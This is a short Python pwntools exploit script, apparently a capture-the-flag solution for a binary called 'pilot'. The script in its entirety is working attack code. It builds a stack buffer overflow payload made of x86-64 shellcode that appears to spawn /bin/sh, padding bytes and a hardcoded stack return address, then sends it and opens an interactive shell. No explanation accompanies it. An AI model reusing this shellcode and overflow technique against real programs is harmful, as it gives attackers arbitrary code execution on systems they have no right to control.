from pwn import *

target=process('./pilot')

print target.recvline()



addressBuf='\xe0\xdb\xff\xff\xff\x7f\x00\x00'
payload=""
shellcode = "\x31\xF6\x48\xBF\xD1\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xDF\xF7\xE6\x04\x3B\x57\x54\x5F\x0F\x05" 
payload+=shellcode
payload+='A'*(40-len(shellcode))
payload+=addressBuf

target.send(payload)
target.interactive()

